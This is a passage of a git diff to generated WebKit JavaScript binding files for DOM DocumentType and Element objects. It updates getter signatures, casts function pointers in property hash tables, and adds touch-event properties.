+    JSDocumentType* domObject = static_cast<JSDocumentType*>(asObject(slotBase));
     return JSDocumentType::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSDocumentType::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDocumentType.h b/src/3rdparty/webkit/WebCore/generated/JSDocumentType.h
index 72da9be..2ef2ce0 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDocumentType.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDocumentType.h
@@ -40,7 +40,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -62,7 +62,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDocumentTypePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -71,13 +71,13 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsDocumentTypeName(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentTypeEntities(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentTypeNotations(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentTypePublicId(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentTypeSystemId(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentTypeInternalSubset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentTypeConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentTypeName(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentTypeEntities(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentTypeNotations(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentTypePublicId(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentTypeSystemId(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentTypeInternalSubset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentTypeConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSElement.cpp b/src/3rdparty/webkit/WebCore/generated/JSElement.cpp
index 3d3187f..cea426f 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSElement.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSElement.cpp
@@ -28,12 +28,10 @@
 #include "ClientRectList.h"
 #include "Element.h"
 #include "EventListener.h"
-#include "Frame.h"
 #include "JSAttr.h"
 #include "JSCSSStyleDeclaration.h"
 #include "JSClientRect.h"
 #include "JSClientRectList.h"
-#include "JSDOMGlobalObject.h"
 #include "JSElement.h"
 #include "JSEventListener.h"
 #include "JSNodeList.h"
@@ -53,68 +51,80 @@ ASSERT_CLASS_FITS_IN_CELL(JSElement);
 
 /* Hash table */
 
-static const HashTableValue JSElementTableValues[61] =
-{
-    { "tagName", DontDelete|ReadOnly, (intptr_t)jsElementTagName, (intptr_t)0 },
-    { "style", DontDelete|ReadOnly, (intptr_t)jsElementStyle, (intptr_t)0 },
-    { "offsetLeft", DontDelete|ReadOnly, (intptr_t)jsElementOffsetLeft, (intptr_t)0 },
-    { "offsetTop", DontDelete|ReadOnly, (intptr_t)jsElementOffsetTop, (intptr_t)0 },
-    { "offsetWidth", DontDelete|ReadOnly, (intptr_t)jsElementOffsetWidth, (intptr_t)0 },
-    { "offsetHeight", DontDelete|ReadOnly, (intptr_t)jsElementOffsetHeight, (intptr_t)0 },
-    { "offsetParent", DontDelete|ReadOnly, (intptr_t)jsElementOffsetParent, (intptr_t)0 },
-    { "clientLeft", DontDelete|ReadOnly, (intptr_t)jsElementClientLeft, (intptr_t)0 },
-    { "clientTop", DontDelete|ReadOnly, (intptr_t)jsElementClientTop, (intptr_t)0 },
-    { "clientWidth", DontDelete|ReadOnly, (intptr_t)jsElementClientWidth, (intptr_t)0 },
-    { "clientHeight", DontDelete|ReadOnly, (intptr_t)jsElementClientHeight, (intptr_t)0 },
-    { "scrollLeft", DontDelete, (intptr_t)jsElementScrollLeft, (intptr_t)setJSElementScrollLeft },
-    { "scrollTop", DontDelete, (intptr_t)jsElementScrollTop, (intptr_t)setJSElementScrollTop },
-    { "scrollWidth", DontDelete|ReadOnly, (intptr_t)jsElementScrollWidth, (intptr_t)0 },
-    { "scrollHeight", DontDelete|ReadOnly, (intptr_t)jsElementScrollHeight, (intptr_t)0 },
-    { "firstElementChild", DontDelete|ReadOnly, (intptr_t)jsElementFirstElementChild, (intptr_t)0 },
-    { "lastElementChild", DontDelete|ReadOnly, (intptr_t)jsElementLastElementChild, (intptr_t)0 },
-    { "previousElementSibling", DontDelete|ReadOnly, (intptr_t)jsElementPreviousElementSibling, (intptr_t)0 },
-    { "nextElementSibling", DontDelete|ReadOnly, (intptr_t)jsElementNextElementSibling, (intptr_t)0 },
-    { "childElementCount", DontDelete|ReadOnly, (intptr_t)jsElementChildElementCount, (intptr_t)0 },
-    { "onabort", DontDelete|DontEnum, (intptr_t)jsElementOnabort, (intptr_t)setJSElementOnabort },
-    { "onblur", DontDelete|DontEnum, (intptr_t)jsElementOnblur, (intptr_t)setJSElementOnblur },
-    { "onchange", DontDelete|DontEnum, (intptr_t)jsElementOnchange, (intptr_t)setJSElementOnchange },
-    { "onclick", DontDelete|DontEnum, (intptr_t)jsElementOnclick, (intptr_t)setJSElementOnclick },
-    { "oncontextmenu", DontDelete|DontEnum, (intptr_t)jsElementOncontextmenu, (intptr_t)setJSElementOncontextmenu },
-    { "ondblclick", DontDelete|DontEnum, (intptr_t)jsElementOndblclick, (intptr_t)setJSElementOndblclick },
-    { "ondrag", DontDelete|DontEnum, (intptr_t)jsElementOndrag, (intptr_t)setJSElementOndrag },
-    { "ondragend", DontDelete|DontEnum, (intptr_t)jsElementOndragend, (intptr_t)setJSElementOndragend },
-    { "ondragenter", DontDelete|DontEnum, (intptr_t)jsElementOndragenter, (intptr_t)setJSElementOndragenter },
-    { "ondragleave", DontDelete|DontEnum, (intptr_t)jsElementOndragleave, (intptr_t)setJSElementOndragleave },
-    { "ondragover", DontDelete|DontEnum, (intptr_t)jsElementOndragover, (intptr_t)setJSElementOndragover },
-    { "ondragstart", DontDelete|DontEnum, (intptr_t)jsElementOndragstart, (intptr_t)setJSElementOndragstart },
-    { "ondrop", DontDelete|DontEnum, (intptr_t)jsElementOndrop, (intptr_t)setJSElementOndrop },
-    { "onerror", DontDelete|DontEnum, (intptr_t)jsElementOnerror, (intptr_t)setJSElementOnerror },
-    { "onfocus", DontDelete|DontEnum, (intptr_t)jsElementOnfocus, (intptr_t)setJSElementOnfocus },
-    { "oninput", DontDelete|DontEnum, (intptr_t)jsElementOninput, (intptr_t)setJSElementOninput },
-    { "oninvalid", DontDelete|DontEnum, (intptr_t)jsElementOninvalid, (intptr_t)setJSElementOninvalid },
-    { "onkeydown", DontDelete|DontEnum, (intptr_t)jsElementOnkeydown, (intptr_t)setJSElementOnkeydown },
-    { "onkeypress", DontDelete|DontEnum, (intptr_t)jsElementOnkeypress, (intptr_t)setJSElementOnkeypress },
-    { "onkeyup", DontDelete|DontEnum, (intptr_t)jsElementOnkeyup, (intptr_t)setJSElementOnkeyup },
-    { "onload", DontDelete|DontEnum, (intptr_t)jsElementOnload, (intptr_t)setJSElementOnload },
-    { "onmousedown", DontDelete|DontEnum, (intptr_t)jsElementOnmousedown, (intptr_t)setJSElementOnmousedown },
-    { "onmousemove", DontDelete|DontEnum, (intptr_t)jsElementOnmousemove, (intptr_t)setJSElementOnmousemove },
-    { "onmouseout", DontDelete|DontEnum, (intptr_t)jsElementOnmouseout, (intptr_t)setJSElementOnmouseout },
-    { "onmouseover", DontDelete|DontEnum, (intptr_t)jsElementOnmouseover, (intptr_t)setJSElementOnmouseover },
-    { "onmouseup", DontDelete|DontEnum, (intptr_t)jsElementOnmouseup, (intptr_t)setJSElementOnmouseup },
-    { "onmousewheel", DontDelete|DontEnum, (intptr_t)jsElementOnmousewheel, (intptr_t)setJSElementOnmousewheel },
-    { "onscroll", DontDelete|DontEnum, (intptr_t)jsElementOnscroll, (intptr_t)setJSElementOnscroll },
-    { "onselect", DontDelete|DontEnum, (intptr_t)jsElementOnselect, (intptr_t)setJSElementOnselect },
-    { "onsubmit", DontDelete|DontEnum, (intptr_t)jsElementOnsubmit, (intptr_t)setJSElementOnsubmit },
-    { "onbeforecut", DontDelete|DontEnum, (intptr_t)jsElementOnbeforecut, (intptr_t)setJSElementOnbeforecut },
-    { "oncut", DontDelete|DontEnum, (intptr_t)jsElementOncut, (intptr_t)setJSElementOncut },
-    { "onbeforecopy", DontDelete|DontEnum, (intptr_t)jsElementOnbeforecopy, (intptr_t)setJSElementOnbeforecopy },
-    { "oncopy", DontDelete|DontEnum, (intptr_t)jsElementOncopy, (intptr_t)setJSElementOncopy },
-    { "onbeforepaste", DontDelete|DontEnum, (intptr_t)jsElementOnbeforepaste, (intptr_t)setJSElementOnbeforepaste },
-    { "onpaste", DontDelete|DontEnum, (intptr_t)jsElementOnpaste, (intptr_t)setJSElementOnpaste },
-    { "onreset", DontDelete|DontEnum, (intptr_t)jsElementOnreset, (intptr_t)setJSElementOnreset },
-    { "onsearch", DontDelete|DontEnum, (intptr_t)jsElementOnsearch, (intptr_t)setJSElementOnsearch },
-    { "onselectstart", DontDelete|DontEnum, (intptr_t)jsElementOnselectstart, (intptr_t)setJSElementOnselectstart },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsElementConstructor, (intptr_t)0 },
+static const HashTableValue JSElementTableValues[65] =
+{
+    { "tagName", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementTagName), (intptr_t)0 },
+    { "style", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementStyle), (intptr_t)0 },
+    { "offsetLeft", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOffsetLeft), (intptr_t)0 },
+    { "offsetTop", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOffsetTop), (intptr_t)0 },
+    { "offsetWidth", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOffsetWidth), (intptr_t)0 },
+    { "offsetHeight", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOffsetHeight), (intptr_t)0 },
+    { "offsetParent", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOffsetParent), (intptr_t)0 },
+    { "clientLeft", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementClientLeft), (intptr_t)0 },
+    { "clientTop", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementClientTop), (intptr_t)0 },
+    { "clientWidth", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementClientWidth), (intptr_t)0 },
+    { "clientHeight", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementClientHeight), (intptr_t)0 },
+    { "scrollLeft", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementScrollLeft), (intptr_t)setJSElementScrollLeft },
+    { "scrollTop", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementScrollTop), (intptr_t)setJSElementScrollTop },
+    { "scrollWidth", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementScrollWidth), (intptr_t)0 },
+    { "scrollHeight", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementScrollHeight), (intptr_t)0 },
+    { "firstElementChild", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementFirstElementChild), (intptr_t)0 },
+    { "lastElementChild", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementLastElementChild), (intptr_t)0 },
+    { "previousElementSibling", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementPreviousElementSibling), (intptr_t)0 },
+    { "nextElementSibling", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementNextElementSibling), (intptr_t)0 },
+    { "childElementCount", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementChildElementCount), (intptr_t)0 },
+    { "onabort", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnabort), (intptr_t)setJSElementOnabort },
+    { "onblur", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnblur), (intptr_t)setJSElementOnblur },
+    { "onchange", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnchange), (intptr_t)setJSElementOnchange },
+    { "onclick", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnclick), (intptr_t)setJSElementOnclick },
+    { "oncontextmenu", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOncontextmenu), (intptr_t)setJSElementOncontextmenu },
+    { "ondblclick", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOndblclick), (intptr_t)setJSElementOndblclick },
+    { "ondrag", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOndrag), (intptr_t)setJSElementOndrag },
+    { "ondragend", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOndragend), (intptr_t)setJSElementOndragend },
+    { "ondragenter", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOndragenter), (intptr_t)setJSElementOndragenter },
+    { "ondragleave", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOndragleave), (intptr_t)setJSElementOndragleave },
+    { "ondragover", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOndragover), (intptr_t)setJSElementOndragover },
+    { "ondragstart", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOndragstart), (intptr_t)setJSElementOndragstart },
+    { "ondrop", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOndrop), (intptr_t)setJSElementOndrop },
+    { "onerror", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnerror), (intptr_t)setJSElementOnerror },
+    { "onfocus", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnfocus), (intptr_t)setJSElementOnfocus },
+    { "oninput", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOninput), (intptr_t)setJSElementOninput },
+    { "oninvalid", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOninvalid), (intptr_t)setJSElementOninvalid },
+    { "onkeydown", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnkeydown), (intptr_t)setJSElementOnkeydown },
+    { "onkeypress", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnkeypress), (intptr_t)setJSElementOnkeypress },
+    { "onkeyup", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnkeyup), (intptr_t)setJSElementOnkeyup },
+    { "onload", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnload), (intptr_t)setJSElementOnload },
+    { "onmousedown", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnmousedown), (intptr_t)setJSElementOnmousedown },
+    { "onmousemove", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnmousemove), (intptr_t)setJSElementOnmousemove },
+    { "onmouseout", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnmouseout), (intptr_t)setJSElementOnmouseout },
+    { "onmouseover", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnmouseover), (intptr_t)setJSElementOnmouseover },
+    { "onmouseup", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnmouseup), (intptr_t)setJSElementOnmouseup },
+    { "onmousewheel", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnmousewheel), (intptr_t)setJSElementOnmousewheel },
+    { "onscroll", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnscroll), (intptr_t)setJSElementOnscroll },
+    { "onselect", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnselect), (intptr_t)setJSElementOnselect },
+    { "onsubmit", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnsubmit), (intptr_t)setJSElementOnsubmit },
+    { "onbeforecut", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnbeforecut), (intptr_t)setJSElementOnbeforecut },
+    { "oncut", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOncut), (intptr_t)setJSElementOncut },
+    { "onbeforecopy", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnbeforecopy), (intptr_t)setJSElementOnbeforecopy },
+    { "oncopy", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOncopy), (intptr_t)setJSElementOncopy },
+    { "onbeforepaste", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnbeforepaste), (intptr_t)setJSElementOnbeforepaste },
+    { "onpaste", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnpaste), (intptr_t)setJSElementOnpaste },
+    { "onreset", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnreset), (intptr_t)setJSElementOnreset },
+    { "onsearch", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnsearch), (intptr_t)setJSElementOnsearch },
+    { "onselectstart", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOnselectstart), (intptr_t)setJSElementOnselectstart },
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchstart", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOntouchstart), (intptr_t)setJSElementOntouchstart },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchmove", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOntouchmove), (intptr_t)setJSElementOntouchmove },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchend", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOntouchend), (intptr_t)setJSElementOntouchend },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchcancel", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementOntouchcancel), (intptr_t)setJSElementOntouchcancel },
+#endif
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsElementConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -122,7 +132,7 @@ static JSC_CONST_HASHTABLE HashTable JSElementTable =
 #if ENABLE(PERFECT_HASH_SIZE)
     { 8191, JSElementTableValues, 0 };
 #else
-    { 141, 127, JSElementTableValues, 0 };
+    { 144, 127, JSElementTableValues, 0 };
 #endif
 
 /* Hash table for constructor */
@@ -153,7 +163,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -176,34 +186,34 @@ bool JSElementConstructor::getOwnPropertyDescriptor(ExecState* exec, const Ident
 
 static const HashTableValue JSElementPrototypeTableValues[29] =
 {
-    { "getAttribute", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetAttribute, (intptr_t)1 },
-    { "setAttribute", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionSetAttribute, (intptr_t)2 },
-    { "removeAttribute", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionRemoveAttribute, (intptr_t)1 },
-    { "getAttributeNode", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetAttributeNode, (intptr_t)1 },
-    { "setAttributeNode", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionSetAttributeNode, (intptr_t)1 },
-    { "removeAttributeNode", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionRemoveAttributeNode, (intptr_t)1 },
-    { "getElementsByTagName", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetElementsByTagName, (intptr_t)1 },
-    { "getAttributeNS", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetAttributeNS, (intptr_t)2 },
-    { "setAttributeNS", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionSetAttributeNS, (intptr_t)3 },
-    { "removeAttributeNS", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionRemoveAttributeNS, (intptr_t)2 },
-    { "getElementsByTagNameNS", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetElementsByTagNameNS, (intptr_t)2 },
-    { "getAttributeNodeNS", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetAttributeNodeNS, (intptr_t)2 },
-    { "setAttributeNodeNS", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionSetAttributeNodeNS, (intptr_t)1 },
-    { "hasAttribute", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionHasAttribute, (intptr_t)1 },
-    { "hasAttributeNS", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionHasAttributeNS, (intptr_t)2 },
-    { "focus", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionFocus, (intptr_t)0 },
-    { "blur", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionBlur, (intptr_t)0 },
-    { "scrollIntoView", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionScrollIntoView, (intptr_t)1 },
-    { "contains", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionContains, (intptr_t)1 },
-    { "scrollIntoViewIfNeeded", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionScrollIntoViewIfNeeded, (intptr_t)1 },
-    { "scrollByLines", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionScrollByLines, (intptr_t)1 },
-    { "scrollByPages", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionScrollByPages, (intptr_t)1 },
-    { "getElementsByClassName", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetElementsByClassName, (intptr_t)1 },
-    { "querySelector", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionQuerySelector, (intptr_t)1 },
-    { "querySelectorAll", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionQuerySelectorAll, (intptr_t)1 },
-    { "webkitMatchesSelector", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionWebkitMatchesSelector, (intptr_t)1 },
-    { "getClientRects", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetClientRects, (intptr_t)0 },
-    { "getBoundingClientRect", DontDelete|Function, (intptr_t)jsElementPrototypeFunctionGetBoundingClientRect, (intptr_t)0 },
+    { "getAttribute", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetAttribute), (intptr_t)1 },
+    { "setAttribute", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionSetAttribute), (intptr_t)2 },
+    { "removeAttribute", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionRemoveAttribute), (intptr_t)1 },
+    { "getAttributeNode", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetAttributeNode), (intptr_t)1 },
+    { "setAttributeNode", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionSetAttributeNode), (intptr_t)1 },
+    { "removeAttributeNode", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionRemoveAttributeNode), (intptr_t)1 },
+    { "getElementsByTagName", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetElementsByTagName), (intptr_t)1 },
+    { "getAttributeNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetAttributeNS), (intptr_t)2 },
+    { "setAttributeNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionSetAttributeNS), (intptr_t)3 },
+    { "removeAttributeNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionRemoveAttributeNS), (intptr_t)2 },
+    { "getElementsByTagNameNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetElementsByTagNameNS), (intptr_t)2 },
+    { "getAttributeNodeNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetAttributeNodeNS), (intptr_t)2 },
+    { "setAttributeNodeNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionSetAttributeNodeNS), (intptr_t)1 },
+    { "hasAttribute", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionHasAttribute), (intptr_t)1 },
+    { "hasAttributeNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionHasAttributeNS), (intptr_t)2 },
+    { "focus", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionFocus), (intptr_t)0 },
+    { "blur", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionBlur), (intptr_t)0 },
+    { "scrollIntoView", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionScrollIntoView), (intptr_t)1 },
+    { "contains", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionContains), (intptr_t)1 },
+    { "scrollIntoViewIfNeeded", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionScrollIntoViewIfNeeded), (intptr_t)1 },
+    { "scrollByLines", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionScrollByLines), (intptr_t)1 },
+    { "scrollByPages", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionScrollByPages), (intptr_t)1 },
+    { "getElementsByClassName", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetElementsByClassName), (intptr_t)1 },
+    { "querySelector", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionQuerySelector), (intptr_t)1 },
+    { "querySelectorAll", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionQuerySelectorAll), (intptr_t)1 },
+    { "webkitMatchesSelector", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionWebkitMatchesSelector), (intptr_t)1 },
+    { "getClientRects", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetClientRects), (intptr_t)0 },
+    { "getBoundingClientRect", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsElementPrototypeFunctionGetBoundingClientRect), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -243,637 +253,799 @@ JSObject* JSElement::createPrototype(ExecState* exec, JSGlobalObject* globalObje
     return new (exec) JSElementPrototype(JSElementPrototype::createStructure(JSNodePrototype::self(exec, globalObject)));
 }
 
-JSValue jsElementTagName(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementTagName(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->tagName());
+    JSValue result = jsStringOrNull(exec, imp->tagName());
+    return result;
 }
 
-JSValue jsElementStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
